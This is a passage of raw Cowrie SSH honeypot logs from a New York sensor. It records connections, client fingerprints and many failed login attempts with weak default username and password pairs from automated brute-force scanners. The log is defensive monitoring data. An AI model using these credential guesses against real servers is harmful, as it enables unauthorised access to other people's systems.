com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:21.599383Z","src_ip":"40.117.97.0","session":"2cb2bcb9b522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:21.861274Z","src_ip":"40.117.97.0","session":"2cb2bcb9b522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:22.877505Z","src_ip":"40.117.97.0","session":"2cb2bcb9b522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":42934,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d4871d02abb","protocol":"ssh","message":"New connection: 37.233.85.71:42934 (159.203.135.109:22) [session: 4d4871d02abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:32.863548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:32.868385Z","src_ip":"37.233.85.71","session":"4d4871d02abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:33.034472Z","src_ip":"37.233.85.71","session":"4d4871d02abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:33.347412Z","src_ip":"37.233.85.71","session":"4d4871d02abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:34.454063Z","src_ip":"37.233.85.71","session":"4d4871d02abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":58866,"dst_ip":"10.17.0.5","dst_port":22,"session":"80106799fbcb","protocol":"ssh","message":"New connection: 15.204.225.76:58866 (10.17.0.5:22) [session: 80106799fbcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:35.682533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:35.686999Z","src_ip":"15.204.225.76","session":"80106799fbcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:35.699039Z","src_ip":"15.204.225.76","session":"80106799fbcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"1234","message":"login attempt [vhserver/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:35.773165Z","src_ip":"15.204.225.76","session":"80106799fbcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:36.787148Z","src_ip":"15.204.225.76","session":"80106799fbcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":60920,"dst_ip":"159.203.135.109","dst_port":22,"session":"686455184d4f","protocol":"ssh","message":"New connection: 193.32.162.151:60920 (159.203.135.109:22) [session: 686455184d4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:54.722454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:54.727636Z","src_ip":"193.32.162.151","session":"686455184d4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:54.832664Z","src_ip":"193.32.162.151","session":"686455184d4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:55.153990Z","src_ip":"193.32.162.151","session":"686455184d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:34:56.270346Z","src_ip":"193.32.162.151","session":"686455184d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":39774,"dst_ip":"10.17.0.5","dst_port":22,"session":"46166289123c","protocol":"ssh","message":"New connection: 150.109.20.59:39774 (10.17.0.5:22) [session: 46166289123c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:09.392272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:09.396780Z","src_ip":"150.109.20.59","session":"46166289123c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:09.645110Z","src_ip":"150.109.20.59","session":"46166289123c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":27025,"dst_ip":"10.17.0.5","dst_port":22,"session":"58393232eb93","protocol":"ssh","message":"New connection: 182.253.79.194:27025 (10.17.0.5:22) [session: 58393232eb93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:09.797993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:09.803269Z","src_ip":"182.253.79.194","session":"58393232eb93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:10.061827Z","src_ip":"182.253.79.194","session":"58393232eb93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qQ","message":"login attempt [root/123456qQ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:10.660823Z","src_ip":"150.109.20.59","session":"46166289123c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234..","message":"login attempt [root/1234..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:11.120365Z","src_ip":"182.253.79.194","session":"58393232eb93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:11.909242Z","src_ip":"150.109.20.59","session":"46166289123c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:12.380633Z","src_ip":"182.253.79.194","session":"58393232eb93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":47000,"dst_ip":"159.203.135.109","dst_port":22,"session":"33ff99d07101","protocol":"ssh","message":"New connection: 43.173.90.78:47000 (159.203.135.109:22) [session: 33ff99d07101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:12.770230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:12.775585Z","src_ip":"43.173.90.78","session":"33ff99d07101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:12.846550Z","src_ip":"43.173.90.78","session":"33ff99d07101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitwarden","password":"1234","message":"login attempt [bitwarden/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.152206Z","src_ip":"43.173.90.78","session":"33ff99d07101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":60270,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3b77c882bfa","protocol":"ssh","message":"New connection: 15.204.225.76:60270 (10.17.0.5:22) [session: c3b77c882bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.314975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.320339Z","src_ip":"15.204.225.76","session":"c3b77c882bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.331337Z","src_ip":"15.204.225.76","session":"c3b77c882bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":46276,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0617b92f553","protocol":"ssh","message":"New connection: 40.117.97.0:46276 (10.17.0.5:22) [session: d0617b92f553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.407003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.411657Z","src_ip":"40.117.97.0","session":"d0617b92f553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Test123","message":"login attempt [user/Test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.416269Z","src_ip":"15.204.225.76","session":"c3b77c882bfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.428236Z","src_ip":"40.117.97.0","session":"d0617b92f553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blondes","message":"login attempt [root/blondes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:13.509087Z","src_ip":"40.117.97.0","session":"d0617b92f553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:14.223062Z","src_ip":"43.173.90.78","session":"33ff99d07101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:14.430316Z","src_ip":"15.204.225.76","session":"c3b77c882bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:14.523495Z","src_ip":"40.117.97.0","session":"d0617b92f553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":35548,"dst_ip":"159.203.135.109","dst_port":22,"session":"089a8086f202","protocol":"ssh","message":"New connection: 103.75.183.219:35548 (159.203.135.109:22) [session: 089a8086f202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:35:16.804816Z"}
